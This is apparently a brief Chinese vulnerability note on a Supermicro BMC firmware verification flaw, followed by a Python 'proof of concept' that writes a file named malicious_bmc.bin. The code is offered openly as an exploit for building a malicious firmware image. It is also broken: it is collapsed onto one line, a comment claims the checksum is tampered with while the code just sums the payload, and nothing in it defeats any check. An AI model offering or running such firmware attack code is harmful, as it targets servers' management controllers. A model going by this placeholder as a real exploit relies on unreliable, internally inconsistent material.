CVE-2025-12007: Supermicro BMC固件验证漏洞允许特制镜像更新

PoC代码示例：python import struct def create_malicious_firmware(): # 构造恶意固件镜像 header = struct.pack('<I', 0x5F424D43) # 魔数 version = struct.pack('<I', 0x00000001) payload = b'\x90' * 256 # NOP sled payload += b'\xcc' * 100 # 中断点 # 篡改校验和 checksum = sum(payload) & 0xFFFFFFFF checksum = struct.pack('<I', checksum) with open('malicious_bmc.bin', 'wb') as f: f.write(header + version + checksum + payload) print('恶意固件镜像已生成') if __name__ == '__main__': create_malicious_firmware()